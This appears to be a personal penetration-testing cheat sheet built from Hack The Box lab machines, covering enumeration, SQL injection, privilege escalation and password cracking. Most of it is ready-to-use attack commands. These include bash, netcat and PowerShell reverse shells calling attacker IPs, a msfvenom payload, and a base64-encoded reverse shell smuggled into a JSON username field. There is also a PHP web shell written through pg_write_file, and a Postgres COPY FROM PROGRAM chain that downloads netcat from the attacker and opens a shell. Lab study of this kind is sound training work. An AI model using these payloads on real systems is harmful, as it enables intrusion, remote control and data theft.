Notes
Enumeration
Nmap
nmap -sC -sV --min-rate=1000 -v {TARGET_IP} -o nmap.target -p-
Gobuster
gobuster dir -u http://greenhorn.htb:3000 -w ~/SecLists/Discovery/Web-Content/raft-small-words.txt -o greenhorn.gobuster
gobuster dir -u http://{IP} -w {PATH}
-U username
-P password
-c cookie
enum4linux
enum4linux {OPTIONS} {TARGET_IP}
-U get userlist
-M get machine list
-N get namelist dump (different from -U and-M)
-S get sharelist
-P get password policy information
-G get group and member list
-a all of the above (full basic enumeration)
SMBClient
smbclient -L {TARGET_IP} -U {USERNAME}
-N no password
~/htb$ smbclient -L 10.129.9.177 -U Administrator
Password for [SAMBA\Administrator]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
~/htb$ smbclient \\\\10.129.9.177\\ADMIN$ -U Administrator
Password for [SAMBA\Administrator]:
Try "help" to get a list of possible commands.
smb: \>
smbclient //[IP]/[SHARE] -U [USER] -p [PORT]
FTP
ftp {IP}
If anonymous login is allowed: username: anonymous password:
Web
Browser:
• View Source Code
• Inspect Element
• Cookies
• Network
• Debugger
Content Discovery:
Manual:
• /robots.txt
• /sitemap.xml
• favicon: curl http(s)://[ADDRESS]/favicon | md5sum
http(s)://wiki.owasp.org/index.php/OWASP_favicon_database
• HTTP Headers curl http(s)://[ADDRESS] -v
OSINT:
• Google Dorking site:, inurl:, filetype:, intitle:
• Wappalyzer
• Wayback Machine
• Github
• S3 Buckets http(s)://[NAME].s3.amazonaws.com [NAME]-assets, [NAME]-www, [NAME]-public, [NAME]-private
• SSL/TSL Certificates https://crt.sh
• Sublist3r
Automated:
• wordlists: https://github.com/danielmiessler/SecLists
• ffuf ffuf -w [FILEPATH] -u http://[IP]/FUZZ
• dirb dirb [IP] [FILEPATH]
• gobuster gobuster dir -u [IP] -w [FILEPATH]
ffuf
ffuf -c -w ~/vegla/rockyou.txt -u http://10.10.10.95:8080/cgi/FUZZ.bat -mc all -fc 404
Shells
Bash Reverse Shell
bash -i >& /dev/tcp/10.10.14.4/9000 0>&1
Base64:
echo "bash -i >& /dev/tcp/10.10.14.136/9000 0>&1" | base64
Netcat
nc -lvnp [PORT] -e /bin/bash
Powershell:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>', <port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
msfvenom
msfvenom -p [PAYLOAD] [OPTIONS]
msfvenom -p [OS]/[ARCH]/[PAYLOAD] // staged: /shell/reverse_tcp | stageless: /shell_reverse_tcp
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[LISTENING-IP] LPORT=[LISTENING-PORT]
Stabilizing
• /usr/bin/python3 -c ‘import pty;pty.spawn("/bin/bash")’
• export TERM=xterm
• CTRL + Z
• stty raw -echo; fg // On attacking (host) box
rlwrap
• rlwrap nc -lvnp [PORT]
• CTRL + Z
• stty raw -echo; fg // On attacking box
Privilege Escalation
Linux
LinEnum
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
SUID Binaries
find / -perm -u=s -type f 2>/dev/null
/etc/passwd
test:x:0:0:root:/root:/bin/bash
username:password:userid(UID):groupid(GID):uidInfo:homedir:shell
sudo -l
https://gtfobins.github.io/
To see groups:
id
crontab
# m h dom mon dow user command
PATH
cd /tmp
echo “/bin/bash” > ls
chmod +x ls
export PATH=/tmp:$PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH // Reset
Windows
- winPEAS
whoami /priv
SeImpersonate
icacls [file name]
to check file privileges (for example on a .bat script) looking forBUILTIN\Users
schtasks
to see currently scheduled tasks- Use powershell to
wget nc64.exe
Network
Port numbers:
ss -tln
Services:
ss -tl
Processes:
ss -tlpn
netstat -tlpn
Port Forwarding
ssh -L {LOCAL_PORT}:{TARGET_IP}:{REMOTE_PORT} {USER}@{TARGET_IP}
ssh -L 9000:10.129.228.195:5432 christine@10.129.228.195
Add Host
echo "{TARGET_IP} {TARGET_HOSTNAME}" | sudo tee -a /etc/hosts
cURL
~$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=bjvqf8923m0ac1o7glukt2a2fp" --header "Content-Type: application/json" --data '{"username":"ssilatel;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzYvODAwMCAwPiYxCg== | base64 -d | bash;"}'
Passwords
Hashcat
For finding encryption ID:
hashcat -h | grep bcrypt
For cracking (use -o flag to output password to file):
hashcat -m 3200 -a 0 pass.hash ~/usr/share/rockyou.txt
For seeing the passwords (without -o flag):
hashcat --show pass.hash
Find encoding
https://dcode.fr/en/cipher-identifier
Login
hashid
Used for identifying hashes
Hydra
For SSH:
hydra -L usernames.txt -p 'funnel123#!#' {TARGET_IP} ssh
John
john [OPTIONS] [FILEPATH]
john --format=[FORMAT] --wordlist=[PATH] [FILEPATH]
john --list=formats // To list formats
john --single // Single hash cracking mode
zip2john [options] [zip file] > [output file]
rar2john [rar file] > [output file]
ssh2john [id_rsa private key file] > [output file]
john --show [file]
/etc/shadow hashes
unshadow [PATH TO passwd] [PATH TO shadow]
SQLi
- Try
' UNION SELECT 1, 2, 3, 4
to see how many columns are being shown (until you stop getting the error that says column number is wrong). - Then try replacing all the field names with
NULL
and then one by one trying integers or strings (use single quotes for PostgreSQL strings) - Try replacing the columns with a string such as
'visible'
to see which ones are reflected back to the page.
' UNION SELECT 1,2,3,4 --
' UNION SELECT 1,'test',3,4 --
' UNION SELECT 1,database(),3,4 --
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT 1,username,password,4 FROM users --
Blind
' AND (SELECT SUBSTRING((SELECT database()),1,1))='a' --
Error based
' AND 1=CAST((SELECT database()) AS INT) --
- Can also use
ORDER BY
to find the number of columns first.
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
- After finding which ones are reflected, you can use
database()
for MySQL andcurrent_database()
for PostgreSQL to find the database name.
' UNION SELECT 1, current_database(), 'visible3', 'visible4', 'visible5' --
- Then replace the database name with the
table_name
and addFROM information_schema.tables WHERE table_schema='public' --
to see tables information.
' UNION SELECT 1, table_name, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema = 'public' AND table_type = 'BASE TABLE' --
For PostgreSQL you can also use:
' UNION SELECT 1, tablename, NULL, NULL, NULL FROM pg_tables WHERE schemaname = 'public' --
- Once you have the table name, use the same method to enumerate the table columns, using
column_name
andinformation_schema.columns WHERE table_name=[table]
.
' UNION SELECT 1, column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = 'your_table_name' --
- In PostgreSQL you can try a sleep based payload to check for file write capabilites (if there’s a delay it means we have the ability to run commands)
' UNION SELECT 1,pg_catalog.pg_sleep(5),NULL,NULL,NULL --
- Attempting to write to a file
' UNION SELECT 1,pg_catalog.pg_write_file('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'),NULL,NULL,NULL --
(assuming you have the correct root path). Then navigate to [URL]/shell.php?cmd=whoami
- Attempting command execution
' UNION SELECT 1,pg_catalog.pg_execute('ls /'),NULL,NULL,NULL --
- Time based injection
' OR pg_sleep(5) OR '1'='1 --
Vaccine SQLi
- Use
'
to determine if SQLi is possible
http://10.129.122.60/dashboard.php?search='
We get an error back which means it is.
- Use
ORDER BY
to find out how many columns there are
a' ORDER BY 6 --
6
gives us an error back. 5
shows no errors so there’s 5 columns.
- Use
UNION SELECT
statement to find the fields.
a' UNION SELECT 1, 'name', 'type', 'fuel', 'engine' --
We now know the first field is an integer and the rest are strings.
- Now we get the DBMS version:
a' UNION SELECT 1, version(), 'type', 'fuel', 'engine' --
Then we follow this guide for Postgres command execution: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
RCE steps from link
- [Optional] Drop the table you want to use if it already exists
a'; DROP TABLE IF EXISTS cmd_exec; --
- Create the table you want to hold the command output
a'; CREATE TABLE cmd_exec(cmd_output text); --
- Run the
system
command via the COPY FROM PROGRAM function
a'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.77/9000 0>&1"'; --
- This didn’t work so I did:
a'; DROP TABLE IF EXISTS cmd_exec724; --
a'; CREATE TABLE cmd_exec724(cmd_output text); --
a'; COPY cmd_exec724 FROM PROGRAM 'wget -P /tmp/724 http://10.10.14.77:8000/nc' --
a'; COPY cmd_exec724 FROM PROGRAM 'chmod 777 /tmp/724/nc' --
a'; COPY cmd_exec724 FROM PROGRAM '/tmp/724/nc 10.10.14.77 9000 -e /bin/bash'
Notes
database()
for MySQL
current_database()
for PostgreSQL
Binary Exploitation
- file
- checksec –file=[binary name]
- strings [binary name]
- objdump -M intel -d [binary name]
- objdump -t [binary name]
- hexdump -C [binary name]
- strace ./[binary name]
GDB
gdb -q [binary]
set disassembly-flavor intel
disassemble main
x/wx $esp
si
x/wx $esp
disassemble
i r ebp
i r esp
i r eax
p $ebp - $eax